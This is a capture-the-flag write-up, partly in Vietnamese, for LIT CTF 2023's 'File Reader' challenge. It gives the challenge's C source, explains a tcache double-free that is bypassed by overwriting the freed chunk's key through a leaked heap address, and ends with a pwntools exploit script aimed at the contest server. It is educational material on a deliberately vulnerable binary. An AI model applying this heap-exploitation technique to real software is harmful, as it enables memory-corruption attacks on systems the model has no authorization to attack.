🏸File Reader - LIT CTF 2023


#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char *c = malloc(64);
char *d = malloc(64);
printf("%p\n", d);
unsigned long a = 0;
unsigned long b = 0;
free(c);
scanf("%lu", &a);
scanf("%lu", &b);
*((unsigned long *)a) = b;
puts("Exiting...");
free(c);
int fd = open("flag.txt", O_RDONLY);
d[read(fd, d, 64)-1] = 0;
puts(d);
free(d);
return 0;
}

Bài này nó đã leak sẵn cho mình địa chỉ của chunk thứ 2 sau đó yêu cầu nhập vào 1 địa chỉ và ghi đè nó bằng data.

Lỗi double free (xảy ra ở dòng thứ 23 của source.c)
Trong bài này, do gặp lỗi double free detected in tcache 2 nên ta phải overwrite vào keys của freed chunk để chương trình không nhận ra chunk đã được giải giải phóng. Cụ thể trong bài này:

key là phần khoanh đỏ trong chunk. 8 bytes đằng trước nó không trỏ đến đâu vì chương trình này chỉ free duy nhất 1 lần tại chunk c.
Solution cho bài này như sau:
from pwn import *
elf = context.binary = ELF("./s")
r = elf.process()
r = remote("litctf.org", 31772)
# gdb.attach(r, '''
# b*main+188\n
# c
# ''')
heap_leak = int(r.recvline(),16)
chunk_c = heap_leak - 0x48
log.success(f"HEAP leak: {hex(heap_leak)} \nCHUNK2: {hex(chunk_c)}")
r.sendline(str(chunk_c))
r.sendline(b"AAAAAAAA")
r.interactive()

Last updated